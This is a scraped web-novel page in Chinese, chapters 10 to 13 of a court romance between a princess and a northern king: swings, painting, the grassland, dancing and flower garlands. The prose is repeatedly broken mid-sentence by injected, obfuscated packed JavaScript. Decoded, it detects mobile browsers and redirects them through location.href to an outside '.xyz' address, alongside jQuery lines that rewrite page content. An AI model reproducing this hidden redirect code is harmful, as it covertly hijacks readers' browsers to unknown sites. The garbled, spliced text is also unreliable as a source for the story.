RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15931169|176203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些粗粝,难免给公主的下颚留下了浅淡的色彩。小片小片的粉,好似小朵小朵开在白雪中的梅花。 抚了抚鬓边,花韵之终抬眸看向独孤朔,抿唇笑道:“多谢王上。” 黑水的夏日也是热的。 虽不比江南酷暑,但暖意亦让公主换上了单薄的衣裙。但此时漫步在景园中,丝丝缕缕染着清香的风迎面而来,倒变得格外清凉。 风吻过公主的脸颊,撩起鬓发,也拂过公主鬓边的花。 景园是极大的。 而漫步的时间似乎过得很快,无声无息间,红日便攀上了蓝天的最高点。日上三竿,那几缕清冷的风也没了意义。毒辣的太阳映照着人间,花韵之悄悄踩着树荫走。 注意到他步伐的独孤朔柔和眉眼,却又在看向内侍恢复了漠然。内侍当即递来一把纸伞,以为其遮阳。 “公主。” 展开纸伞,独孤朔行至花韵之身侧,试图和他一起踩树荫。 但这实在是有些幼稚,从未有过真正童年的王做不来这些,勉强做了也只显笨拙,不比公主的俏皮。 圆圆的杏眸盛着璀璨的日光,花韵之抬眸看向独孤朔:“王上?” 虽神情淡然,独孤朔手上却将伞向花韵之的方向倾去:“公主,烈日炎炎,景园中有一处却是清凉。公主可想去?” 花韵之的眸子不着痕迹地亮了亮。 “多谢王上。” 他语气轻快的应下。 在约莫走了一刻钟后,花韵之终于不需要寻觅树荫了。 潺潺流水滚出凉意,高大的假山遮蔽了日光。而在假山的阴影处,一只秋千静静立在那里,随风轻晃。 注意到花韵之的目光定格在那只秋千上,不知何时牵上他的手的独孤朔引着他,便向那秋千走去。 “公主,这只秋千是前些时日打的。” 目光移向花韵之的面庞,独孤朔缓声问道:“公主可有兴趣?” 那本该是一只平平无奇的秋千。 但注视着那过分熟悉的外形,过分熟悉的色泽,甚至过分熟悉的缺漏,认出其与锦园那只如出一辙的花韵之揪紧袖口。眼睫颤抖着垂下,他没有多说些什么,只低低应了一声。 “……嗯。” 花韵之坐到了秋千上。 注视着此时稍稍垂地的裙摆,花韵之想要提自己的裙子,独孤朔却先行帮他整理好了。 而也是此时,公主忽然意识到——高度似乎是不一样的。 这只秋千,比锦园的要矮上些许。 清风拂动流苏,花韵之在秋千上轻轻晃着,感受着细微的风声在耳边响起。独孤朔站在一旁看着他,目光极有存在感,令花韵之不自然地抿了抿唇,才抬眸看向他。 “……王上?” 花韵之有些迟疑。 独孤朔微微颔首应下,那双眼却依旧锁在公主身上。 花韵之:“……” 指尖不自觉蜷了蜷,花韵之似乎意识到了什么,却也似乎更迟疑了。他犹疑着开口:“……妾好似荡不起来,王上可以来推推妾吗?” 听到这位中原公主堪称娇蛮的要求,一众内侍皆在心底倒吸一口凉气。 而他们的王欣然应予。 “好。” 10.自由 长发随着秋千晃动,秋千上的公主紧紧握着两侧垂坠的绳。于秋千而言过长的裙摆飞扬,荡出一个好似朝颜花的弧度。 “公主,可要再高些。” 风将声音送入花韵之的耳畔。压抑着心底不知何时蔓延开的的兴奋,花韵之回眸看向男人。 “嗯!” 弯弯的眼,弯弯的眉,弯弯的唇。 明媚的笑容漾在花韵之的唇边,纵使已努力压下心底的那几分兴奋,灿若繁星的眼眸也掩不住公主的情绪。 秋千越来越高了。 微微仰起头,花韵之迎接着四面八方的风。有些嘈杂的风声在耳边呼啸,却又带来了难以言说的感受。 ——自由。 那或许是自由,从未自由过的公主不清楚。 他只觉得,他好似变作了一只小鸟,只要展开翅膀,就能顺着这托举他的风,回到母亲的怀抱。 握着秋千绳的手愈发紧了。 展翅的鸟儿飞向蓝天。高高的树梢,触手可及的太阳,以及身下的花花草草与人,皆映入了公主的眼中。可纵使飞的再高再高,却有一人仍在花韵之的视线之外,无论怎么努力,花韵之都只能看到他的衣袍。 ……孤邙王。 心绪微动,花韵之不自觉回眸,看向他身后的男人。 孤邙王的身形挺拔,像是一棵高大的雪松。或许是太阳太亮,晃了公主的眼,花韵之看着孤邙王,只觉孤邙王似乎是笑着的,又似乎不是笑着的。 孤邙王的情绪总是令花韵之捉摸不透。此时的花韵之想细细看去,却先对上了那双灰蓝色的眼。 “公主。” 待花韵之与秋千一同落下时,独孤朔拽住了秋千的绳子。他站的很稳,力气也很大,秋千几乎没怎么晃,便稳稳停在了他身前。 “怎么了。” 察觉到花韵之方才的目光,似乎是觉得他有所求,独孤朔微微俯身,逼近公主的面庞。 男人的气息愈发近了。眼睫轻颤,花韵之抿了抿唇,微微侧开了眼,没有去看那双好似野狼般的眸子。 “妾……没什么。” 而独孤朔静静注视着花韵之,没有再问些什么,只道:“公主可还想荡秋千?” 静默片刻,花韵之轻轻摇头,又抬起眼睫,直视着独孤朔。 “王上,妾想回去了。” …… 手被包入宽大的掌心,纸伞遮掩了大片日光。花韵之与独孤朔并肩而行,漫步回了宫室。 夏日炎炎,公主的宫室却算得凉爽。 而许是晨间实在疲惫,在一同用过午膳后,有些倦怠的花韵之便蜷在榻上小憩。去偏殿更衣的独孤朔归来时,只看到了将自己团成一团,仿若兔子般的公主。 发髻已经有些凌乱了,但花韵之似乎睡的很熟。定定注视片刻花韵之,独孤朔并没有出言打扰他,只是默默接过侍女手中的扇子,坐到榻边,为花韵之轻轻扇风。 午后艳阳正好,景园花枝乱颤。大大的扇子带来凉凉的风,愈发清爽,公主似乎做了个好梦。 岁月静好。 大梦初醒,已是申时。 迷惘地睁开眼,率先映入花韵之眼帘的便那双灰蓝色的眼睛。那双眸子无甚情绪,但注视着那双近在咫尺的眼,注视着那个近在咫尺的人,花韵之愣了愣,便在瞬间被莫大的惊惧包裹。 “醒了。” 独孤朔落下手中被子,退回到不会令花韵之恐惧的位置。如猫儿般炸起毛的公主似乎正在努力安抚自己,而独孤朔的语气依旧淡然:“已是申时末,公主可要用晚膳。” 独孤朔过分平静的语气仿若良药。紧绷的躯体缓缓放松,轻轻抿起唇,花韵之缓缓摇头。独孤朔也不强求,只唤来侍女为花韵之更衣,便退出了寝殿。 花韵之依旧有些茫然。 待到独孤朔退出,侍女们鱼贯而入,对上鹊枝那跃跃欲试双眼的花韵之静默片刻,才缓缓开口:“王上怎在此处。” 鹊枝快步来到花韵之身旁,小声道:“公主刚睡下,王上便来了。公主不知,王上还为公主扇风呢!” 扇风? 花韵之的目光无声划向榻边的蒲扇。 沉默许久,花韵之终是颔首:“……我知晓了。” 更衣洗漱后,已是酉时。 重新挽起发髻的公主出了寝殿,缓步行至王上身前,微微俯身行礼:“多谢王上。” “不必。”独孤朔没有问他在谢什么,只平静道:“你我夫妻之间,不必言谢。” 花韵之愣怔片刻,随即抬首看向独孤朔。 逆着光的男人高大,花韵之有些无法看清他的神色。但花韵之终也什么都没有说,只抿唇笑起,便主动牵起了独孤朔的手,拉着独孤朔一起回了寝殿。 日落西山。 满天霞光映着红墙金瓦。残阳透过树梢,顺着大开的窗撒上绘了一半的图画。清风穿堂,妄图掀起案上被镇纸压制的纸张,却只勉强撩起了几个小角。 栩栩如生的花卉花团锦簇,绽放在白纸之上。早已干透的墨痕清清浅浅,小片绿叶簇拥着那粉粉黄黄,衬得棠棣愈发娇艳。 “公主喜爱棠棣?” 目光再度定格在那幅画上,独孤朔淡淡开口。 “我并无偏好的花卉。”也看向哪幅画作,花韵之微微摇头,抬眸看向独孤朔,莞尔一笑:“百花皆好,王上今日带我去瞧的花,也好。” 指尖似乎蜷起,独孤朔静静注视着花韵之。而花韵之轻轻松开独孤朔的手,缓步来到桌案旁,垂眸认真看着案上的纸张。 自小体弱多病的公主精于琴棋书画,这幅画虽仅画了一半,却也是极美的。画上的一切似乎都是恰到好处,精巧的技艺哪怕是大家来了都挑不出什么错。 但此时的公主却莫名觉得不好。 目光寸寸攀过那幅画作,细眉不自觉微蹙。红润的唇轻抿,花韵之觉得这幅画不够好,又不知哪里不够好。 “……” 而在花韵之愁眉不展之际,独孤朔的声音响起。 “公主若当下想画,我可为公主研墨。” 被唤回神来,花韵之愣了愣,随即看向独孤朔:“王上?” 轻轻应了一声,独孤朔不再言语 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15945331|176203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。他只拿起案上的辰砂墨条打量了一番,便示意花韵之坐下。 花韵之一向是乖顺的。 乖巧坐下的公主垂眸注视着画作,耳边研磨的声音细微却又不断。端详良久那绽放的棠棣,仍不得解的花韵之终是将其拿起落到一旁,才再度提起了笔。 公主的举措本该是有些奇怪的,但独孤朔没有开口问询,只静静研墨。 白纸铺在桌案,花韵之提笔落下,绘出一朵明媚的?蔷薇。明艳的花朵瓣瓣娇嫩,只寥寥几笔,蔷薇便栩栩如生。但花韵之左瞧瞧,右瞧瞧,仍有些不满意。 ……似乎有些过分精雕细琢了。 精雕细琢并非不好,但过分精雕细琢就会显得过分匠气,反倒失了生机。先前的公主从不会觉得自己的画匠气,但许是因今日晨间起便萦绕着他的风,当下的公主却这样觉得,可又不知如何去改。 于是,花韵之便一朵一朵地画。 太阳寸寸落下了山,一朵朵明艳的花绽放在笔尖。花韵之好似不知疲倦地绘着,独孤朔也不知疲倦地为花韵之研墨。 直到那朵艳丽的牡丹绽放在夕阳余晖之下。 那是朵“真国色”的牡丹,每一片花瓣都透着雍容华贵之感。而细细端详那朵牡丹许久,花韵之不知何时紧绷起的唇角终于泻出几分笑意。似乎永远温暖的棕眸轻抬,花韵之看向独孤朔。 “王上。” 独孤朔亦看向他。 遥指画上盛放的牡丹,花韵之弯起唇角:“王上觉得,较比棠棣那幅,可有更好?” 独孤朔仔细端详着。 这朵盛放的牡丹艳而不妖,片片花瓣或微蜷,或彻底展开,流露着徐徐生机。一如晨间棠棣,它亦是美的,但较比晨间棠棣,它却好似多了几分呼吸的余地。 “是更好了。”独孤朔看向花韵之:“公主的画一向很好。” 这样直白的夸赞令公主的耳尖不自觉浮上薄红。眼睫低垂,花韵之抿唇又笑了笑:“多谢王上。” 说罢,花韵之沉默片刻,又小心翼翼地看向独孤朔:“王上若不嫌,我将此画赠予王上……王上可愿收下?” 独孤朔自然是愿意的。 不仅如此,他还主动道:“既是要赠予我,公主可否在其上留名,或印下私印?” 花韵之欣然应予。 最终,那幅印着花韵之私印,留下花韵之名姓的画作,被独孤朔装裱起来,与古人名家的画作一同悬挂在宣政殿。来往于宣政殿的朝臣皆能看到这幅画作,独孤朔还会对每一位朝臣矜持表示—— “这是公主绘的。” 他说。 “这是公主主动赠予孤的。” 朝臣面面相觑片刻,当即开始吹捧那位中原公主对他们王上的赤忱之心,与他们王上和中原公主感天动地亘古未有的深刻爱恋。 而他们的王上将一切笑纳。 当然,这都是后话了。 当下的花韵之并不知道自己的画作会得到这般重大的排场。只是为感谢独孤朔研墨,自己又无甚拿得出手的公主甚至还觉得这份礼过分廉价,希望孤邙王不要嫌弃。 11.草原 雨打屋檐。 黑水的盛夏在悄无声息间降临,早已换上一袭单薄衣袍的公主独坐窗边,注视着雨后屋檐下淅淅沥沥的雨滴。属于夏季的燥热被雨水冲洗,连景园中盛放的花都被带走了尘埃。 “公主。” 脚步声由远及近,一盘都柿轻轻落在了花韵之身边。花韵之正欲看向来人,一颗仿若宝石的蓝果便先抵到他的唇上,轻蹭了蹭。 “张口。” 水润的蓝果带着新鲜的井水。花韵之顿了顿,便乖巧地张口含住。 公主是未曾见过都柿的。 纵使北地亦有进贡,但不受宠的公主如何能吃到贡品呢?何况都柿这般不宜保存的鲜果,就连他受宠的兄弟姐妹都仅能见见。 但不知是信任孤邙王,还是不得不遵从孤邙王。纵使不认得这鲜果,公主仍以舌尖将果实卷到齿间,并在孤邙王的注视中轻轻咬下。 ——好甜! 清甜的汁水迸发,垂眸看着不自觉眯起眼的花韵之,独孤朔又捻起一颗都柿,递到了花韵之的唇边。 花韵之再度张口含住。 似乎是不小心,两瓣柔软的唇在这次轻轻擦过了独孤朔的指尖。而在将其送入口中后,像是兔子一样乖巧的公主抬首,对着独孤朔弯起眼睛。 独孤朔的指尖蜷了蜷。 “公主可喜欢。” 男人的大手轻轻擦过公主唇角的水珠。弯起唇,花韵之轻蹭了蹭独孤朔的掌心:“多谢王上,我很喜欢。” 垂眸看向主动贴在自己掌心的小脸,独孤朔面无表情地捏了捏公主脸颊上的软肉。看着当即睁大眼,似因为他的动作而无措的公主,独孤朔的眉目似乎也柔和三分。 “公主。” 安抚性地蹭了蹭公主的脸颊,独孤朔落下手,坐到了一旁的位置上:“这是都柿,其果味甜,其花亦美。公主若喜欢,可去农务府选些种到院中,亲手培育。” 方才被轻轻揉搓的脸颊留下了些许浅淡的痕迹。而似乎没想到独孤朔会这么说,花韵之愣了愣。 耳根在无声无息间烧红,沉默良久后,花韵之似想起什么难以启齿之事般垂下首:“多谢王上,但我……” “不善养花。” 说来惭愧,公主虽爱花,但自小养什么什么短寿。就连公主母妃宫中的柿子树在公主接手后,也只勉强活过了一个冬天。 听罢公主小心翼翼的解释,独孤朔似乎想起了什么,生来冷峻的眉眼无声柔和。注视着怯怯的公主,独孤朔缓声道:“若是如此,公主可全权交予侍从打理。” 略显迟疑的公主沉默许久,终是点头。 “嗯。” 轻轻吐出一口气,花韵之弯起红唇,看向独孤朔:“多谢王上。” …… 这场雨断断续续下了三日。 而在倾盆大雨彻底停歇后,农务府便将尚未结果的几盆都柿移到了公主的院落。只是公主还未来得及欣赏都柿即将盛开的花,酷暑便悄无声息地降临这片土地。 北地冬日极寒,却也四季分明。先前那般的夏季大雨在黑水绝非少见,只是今年落雨后更加燥热的暑期却令人出乎意料。 土地干涸,花儿的叶子萎靡,几乎要将人焚化的烈日炙烤。虽仍不比江南炎热,但不同于湿热,这过分干燥的环境闷燥,令初来乍到的花韵之深觉自己将要枯萎,只得躲在阴凉的殿内,一杯杯灌茶水入腹。 于是,顺理成章的。 松漠草原上再度支起了一个个毡包,而那位中原的公主也第一次来到了这里,来到了漫无边际的绿色中。 “公主。” 或许是终于阴凉下来,不再燥热。高马之上,被男人圈在怀中的公主好奇地左右张望。他像是初来乍到的猫儿,警惕却又探索着周围,令独孤朔有些忍俊不禁。 牵了牵唇角,独孤朔俯首看向回眸的花韵之。轻轻开口:“公主可想下来走走。” 花韵之小心翼翼地点头,但那双蜜色杏眸此时却盛满了兴奋与笑意。细细看去,就好似已经自树上长出、微微泛起黄色的山李子,让人看着便口舌生津。 孤邙是自草原蔓延开的种族。 若非前朝将他们迁徙自黑水与罗荒野戍边,他们至今都在松漠草原之上,以放牧为生。 “公主,小心。” 被抱下高马,轻轻松开男人脖颈的花韵之对独孤朔笑了笑,便回眸看向几乎与天连做一体的青草。望不到尽头的草原为笼罩四野的穹庐染上了青绿,远处的天甚至都变作了碧色。 微风拂过公主的发梢,也压低了高高的青草。星星点点的牛羊与马缀在草原中,好似缀在银汉里的星辰,令公主不自觉屏住了呼吸。 天苍苍,野茫茫。 ……风吹草低见牛羊。 携着青草与泥土气息的风冷冷,令公主的躯体与灵魂一同战栗。指尖颤了颤,心中有万千思绪却不知从何说起的花韵之看向独孤朔。而独孤朔似乎一直在静静看他,却直到他抬眸之际才开口:“公主可喜欢此处。” 花韵之毫不犹豫:“嗯。” 他勾起唇角,轻声道:“我很喜欢这里……” 独孤朔似乎笑了笑,牵起花韵之的手,淡声道:“既如此,公主可要与我在此漫步。” 眼眸弯弯,公主回握住王的手。 “嗯!” …… 松漠草原很大,一日无论如何都走不完。但花韵之也没有异想天开,妄图以双脚丈量这片草原。 仿佛自天蔓延开的绿意令人身心舒畅。纵使很想迎着风走回营地,但奈何公主的身躯过分脆弱。有心无力的花韵之只勉强走了一半多的路,便被独孤朔抱回了马上,慢悠悠地回到了驻扎的营地。 王的毡包在营地的最中心。 迎着一众似有若无的目光,窝在独孤朔怀中的花韵之只觉得心在乱跳。紧绷着身体的公主悄无声息地红了耳根,红润的唇紧紧抿起,花韵之微微侧首,试图将自己藏在独孤朔的怀中,让别人看不到他的面庞。 公主的羞怯显而易见。 高马之上的王拽着缰绳,冷冷的视线扫过马下众人。而一众原本还在打量那位中原公主的王公贵族当即移开目光,或看天或看地或与人交谈,装的一副事不关己的模样。 ……那些视线消失了。 察觉到这点的花韵之悄悄抬起眼。他没有去看那些或恶意或善意的王公贵族,而是看向了独孤朔。其实,在公主的视角根本看不到什么,但似乎是察觉到公主的目光,独孤朔主动垂下首,面向面若桃花的公主。 “怎么了,公主。” 眼睫颤了颤,仍窝在男人怀中的花韵之感觉自己的耳朵似乎更烫了。公主轻轻咬唇,摇了摇头。 但沉默良久后,花韵之又低低道了句:“……多谢王上。” 握着缰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15959835|176203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绳的手微微收紧,独孤朔似乎想说些什么。 可最终,他也只道。 “万事都有我在。” “公主,不必怕。” 指尖不自觉刺入掌心,颤动的眼睫仿若蝶翼,花韵之在独孤朔怀中埋得愈发深了。 而不知过了多久,低低的声音响起。 “……嗯。” …… 回到营地的时间已不早了。 晚膳是围炉烤羊,花韵之有些吃不惯,却很香。 待用过晚膳,围炉处便开始了歌舞。高亢的歌声随着琴声蔓延,而依照孤邙习俗,此时无论年轻与否男男女女,只要高兴都可以上去舞一支。 身下的垫子很软,花韵之坐在独孤朔身旁,随着节拍轻轻晃着脑袋。 事实上,公主对孤邙的歌曲并不熟悉,对这些孤邙贵族亦无几分好感。但乐舞总是会感染情绪,随着音乐愈发轻快起来,花韵之觉得自己有些莫名奇怪的心情似乎也轻快许多。 “公主。” 忽然。 温热的气息扑在花韵之的耳尖,白净的肌肤无声无息地染上几分色彩。抬手掩住了自己的耳朵,花韵之看向独孤朔,而在方才几乎要吻上公主耳尖的孤邙王神色却淡然:“公主可想要舞一支。” 花韵之微微睁大了眼。 “……妾?” 独孤朔静静注视着他。 心绪微动,花韵之却轻轻抿起了唇:“可是,妾不会舞……” “无事。”在鼻尖几乎要撞上公主鼻尖的瞬间,独孤朔微微后撤。他向花韵之伸出手:“孤邙的舞并无约束。但若公主想学他们的舞步,我教公主,可好。” 指尖不自觉蜷了蜷,但注视着那只粗粝的手,花韵之终是缓缓搭了上去。 鼓起勇气的公主努力牵起唇角:“好……” 王是一个好老师。 或许是察觉到公主的紧张与羞怯,王引着公主来到了角落。而在王的引导下,公主紧绷的躯体渐渐放松,终随心而动。 欢快的乐曲在耳边回荡,并不整齐的合唱萦绕在身旁。笑意绽放于红润的唇角,握住王做邀请姿态的手,花韵之的眉眼弯做了天边的月牙。 无拘无束。 公主其实不知道什么是无拘无束。 孤邙的舞蹈自由,但公主却是被束缚住四肢的傀儡。 大梁的皇宫像囚笼,将公主牢牢锁死在层层叠叠的宫墙下。在过去的十八年里,公主是目之所及皆是红墙金瓦与四四方方的天。而在这方天地里,他需要做皇室贵女,需要礼仪得体,需要内敛含蓄。 纵使公主的母妃一直在教他圣贤书,教他一个寻常男子该学的知识,告诉他外界的天地究竟有多么宽广,公主也从未想过自己真的能走出深宫。 可是现在。 可是现在,他却在松漠草原上起舞。 猎猎风声张狂,花韵之身上的衣袍翩翩。长长的黑发好似长长的尾巴,坠在公主的身后,随着公主的步伐晃动。 跳的好看吗? 花韵之不知道。 但他想,他很开心。 十指相扣的双手炙热,彼端却微微用力。 顺着王的力道,花韵之顺从地摔入他的怀中。揽住纤细的腰肢,独孤朔似有些意外地看向怀中娇俏的公主。而花韵之抬起眼,对着王绽放出一个大大的笑容。 他真的很开心。 12.花环 草原的月亮落下穹庐。 而草原的太阳从青草中升起。 翌日,蓝天早早便亮的彻底。万物复苏,鸟雀再度开始叽叽喳喳的歌唱,蜷在床榻上的花韵之却仍在安眠。 昨夜的围炉歌舞直到夜半才散去。纵使很快就累了的公主早早便回到毡包打瞌睡,却架不住吵闹的歌舞声,公主生生也熬到夜半才睡去。 而这一睡,就睡到了正午。 搓着眼睛坐起的公主意识仍未回笼,只会乖巧地顺从男人的动作。独孤朔亲自为花韵之穿衣,洗漱,并带着花韵之来到了桌案旁。直到一个小包子被塞到口中咀嚼,满口肉香的花韵之才猛然惊醒般看向独孤朔。 公主的情绪藏都藏不住。如受惊兔儿般的花韵之令独孤朔有些忍俊不禁。牵起唇角,独孤朔推了推案上金杯。 “公主,可要喝些酥茶。” 茶曾是草原的奢侈品,在孤邙强盛的现在却不是。将奶酥煮茶推到花韵之面前,独孤朔并未多说些什么,只示意花韵之可以尝尝。 鼓鼓囊囊的脸颊还未下去,花韵之垂着眼,轻轻应了一声,却依旧缓缓咀嚼着口中包子。直到将那不大的包子咽下,公主才端起小金杯,试探性地抿了口酥茶。 花韵之是不喜喝茶的。 他不喜欢一切苦涩的食物,茶亦包含其中。酥茶也是茶,因此在喝酥茶时,公主的心底其实有些不情不愿,也做好了心理准备。 可随着醇厚的酥茶进入口中,原本还板着张小脸的花韵之如本能般睁大了眼。 “如何。” 看着公主圆溜溜的眼睛,独孤朔的眉眼不自觉柔和。而将口中满是醇厚奶香与甜味的酥茶咽下,花韵之对着独孤朔弯起唇角,亦不自觉弯起了眼睛:“很甜。” “多谢王上,我很喜欢。” 独孤朔不自觉摩挲了下指尖。 他知道他会喜欢。 唇边残余的乳色被软帕轻轻拭去,花韵之再度捧起金杯,小口小口啜饮着。但再喜欢,大梦初醒的公主也吃不下太多。只吃了一只包子,喝了几杯酥茶,花韵之便心满意足。 悉悉索索。 在这场早午餐后,独孤朔处理政务,花韵之则悉悉索索地在榻上做些什么。男人几度投去目光,又几度无法窥视将自己藏起的公主动作。 独孤朔微微挑起了眉。 而在他斟酌着要不要唤一声公主时,花韵之终于钻出被子。小脸红扑扑的公主发髻有些凌乱,却只透着林间狡兔的灵动。在独孤朔的注视下,花韵之悄悄藏起了什么,又对他道:“王上,我可以出去走着吗?” 轻轻的声音携着怯怯与小心,花韵之似乎不想被拒绝。意识到这点,独孤朔略顿了顿。落下笔,他静静注视花韵之片刻,便主动起身离开桌案。 “公主。” 注视着站定在他身前的男人,花韵之抿了抿唇,抬首对着独孤朔露出一个笑。 “公主想去做什么。” 男人的声音平静,花韵之却不自觉蜷起了指尖。纤长的眼睫颤了颤,公主的声音似乎更轻了:“昨日与王上同行时,我看到了片花海,今日想去那处……” 马兰花海。 无需回忆,对松漠草原了如指掌的独孤朔在瞬间明悟公主所指。他沉默片刻,忽道:“我与公主同去,可好。” 王的沉默令公主有些不安。而在花韵之思索独孤朔若拒绝该怎么时,独孤朔的声音响起。 ——与他同去? 花韵之有些意外地抬起眼。 微微俯身,主动握住公主的手,王的神情淡然:“草原偶有狼群出没,公主独自一人,我放心不下。” 直白的话语令藏匿在发间的耳朵似乎又泛起了热意,花韵之轻轻点头:“好……多谢王上。” …… 马兰花是孤邙人最喜爱的花。 在孤邙的神话里,马兰花是夏神的孩子。他们认为马兰花像天空,代表着自由,独属于草原的自由。 但那片马兰花海却距驻地有些远,骑马也要约半刻钟才到达。 草原的夏日凉爽。 握住男人的手,公主跃下高马。青草荡漾,扫过纤细的小腿。骑装包裹着瘦削的身体,清爽的风撩起鬓发,灿灿金光映着那双蜜色眼眸,彼方高悬的太阳伴着蓝紫色的花海,闯入花韵之的眼中。 蔚蓝的马兰花海似乎托举着太阳,而红日为每一片花瓣都镀上了金边。风吹花动,聚集在一起的花儿汇聚成了并不汹涌的海浪,温柔地晃着。 ……好美。 回首对着独孤朔绽放笑容,公主与之交握的手轻轻松开。 花韵之缓步走向花海。 并无深入的想法,花韵之只静静立在花海的边缘。而在风中摇曳的花儿明媚,却放任馥郁的花香缠绕上公主的发尾与指尖。 “公主。” 不知过了多久。 并没有跟随公主步伐的独孤朔轻轻唤道,沉浸在这片花海中的花韵之回眸看去。 “王上?” 低低应了一声,独孤朔负着手,行至花韵之身前。而静静看他的公主实在乖巧,垂眸注视着花韵之,独孤朔似乎笑了笑。 “公主。” 除去这片花海,这附近亦有零零散散的马兰花。 负在身后的手移到身前,那些零散花儿汇聚成的蓝紫色花环暴露在公主眼中。蜜色的眼眸不自觉睁大,独孤朔将那只编织好的马兰花花环递到了花韵之面前。 “可喜欢?” 那无疑是一只漂亮的花环。 蓝紫色与绿色交织,编制成一只自由狂放却又美丽的花环。而注视这只马兰花花环良久,花韵之却有些迷茫地抬起头:“这是王上……给我的吗?” 独孤朔颔首:“公主可喜欢。” 目光无声划过独孤朔的双手,亮晶晶的蜜色眼眸似乎盛满了那只花环。花韵之缓缓抿唇笑起:“……我很喜欢!多谢王上。” “既如此,公主。” 微微俯身,独孤朔将那只花环轻轻落到了花韵之头上:“此处马兰花繁多,草原的牧童也常来此摘花编花环。公主可也要试着编一只?” 花韵之眉眼弯弯,轻且快地点头。 “嗯!” 他被独孤朔引进了花海。 花儿簇拥着花韵之。而于五指灵巧的公主而言,编花环并不难。纵使是第一次学习,但公主实在天赋异禀,只在王一步步教过他后,便能编出一个有些粗糙的雏形。 “公主聪慧。” 注视着手中有些潦草的草圈,听着独孤朔的夸赞,花韵之却没有那么开心。 抿了抿唇,于是在将手中花环编 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15972718|176203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好后,花韵之便郑重其事地将其放下,立即开始编第二个。 公主当真是聪慧。 不过第二个,花韵之便编的极好了。将要落下的红日无声注视着公主专注的面庞,十指翻飞间,一个精致且漂亮的花环便出现在了花韵之手中。 蝴蝶轻轻落在公主发间。而花韵之左瞧瞧,右瞧瞧,都满意极了。清浅的笑意漾在唇边,仍戴着花环的公主抬眸,悄悄看了眼似乎在为他挑选花草的王。 ……王,似乎没有注意到他。 于是公主无声将花环藏到身后,轻轻唤了声。 “王上。” 并没有错过花韵之小动作的独孤朔垂眸看去。 抬首注视着高大的男人,花韵之抿了抿唇,示意独孤朔俯下身。 独孤朔顺从地俯身,逼近公主的面庞。 只是不知是如血残阳过分的红,还是花韵之自己白皙的肌肤染上了几分绯色,此时凑近了,独孤朔便发觉公主的面庞透着隐隐约约的粉,耳尖也是,像诱人的桃子。 长发随风轻晃,白里透红的面庞娇怯。花韵之微微踮脚,对着独孤朔笑了笑,便将身后花环取出,轻轻扣在了独孤朔的头上。 “赠予王上!” 独孤朔愣了愣。 精致的花环与王上其实并不适配,甚至有些过分的割裂感。 但注视着花韵之面上羞怯却灿烂的笑容,独孤朔的指尖难以遏制地颤了颤。心中似有狂风骤雨席卷,独孤朔静默良久,才缓缓弯起唇角。 “……多谢公主。” 用力握住花韵之的腕,独孤朔的声音很低。 “我很喜欢。” …… 红日彻底落下。 而待用过晚膳,回到毡包,独孤朔也知晓了花韵之在出发前于榻上做什么。 看着那只藏在枕头下、略有些粗糙的、以简单的小布料绣成的小布偶,与小布偶头上松松散散的布花环,独孤朔不禁笑了笑,便将其再度藏回了原本的位置。 深夜。 为掩人耳目,独孤朔与花韵之的毡包只有一张床榻。公主是识大体的,没有对此提出什么异议,只是常常忧心自己入睡后会不会不安分,会不会踢到孤邙王。 于是,睡前的花韵之便躺的老老实实,像僵直的木头人。 “王上。” 看着洗漱完毕,衣襟半解的孤邙王,将自己的小玩偶藏在怀中,半张脸埋在被子里,已经扮演了一刻钟木头人的花韵之轻轻唤道:“……王上快来。” “公主今夜可要听故事。” 将衣襟理好,孤邙王行至榻边,垂眸注视着公主。 “草原上的故事,我似乎还未给公主讲过。” 独孤朔的语气淡淡,仿佛只是在说什么并不重要的小事。而花韵之的眼睛亮了亮,但下一瞬不知想起什么,又无声黯淡下去。 “王上辛劳,不必再为我费心。”花韵之的声音有些闷:“还是早些休息……” 似乎是没想到自己会被拒绝,坐到榻边的独孤朔顿了顿,抬手缓缓梳理着公主的长发。 “无事,公主。” 尚未熄灭的火光摇曳在花韵之的眼底,注视着那双明亮的杏眸,独孤朔的声音平静,却近乎温和。 “是我想为公主讲故事,公主只要听着便是了。” 13.好梦 就这样,夜复一夜。 自来到松漠草原避暑那日起,别无他选的花韵之夜夜都与独孤朔同榻而眠。而不知从何时起,花韵之的睡姿似乎开始不安分了。 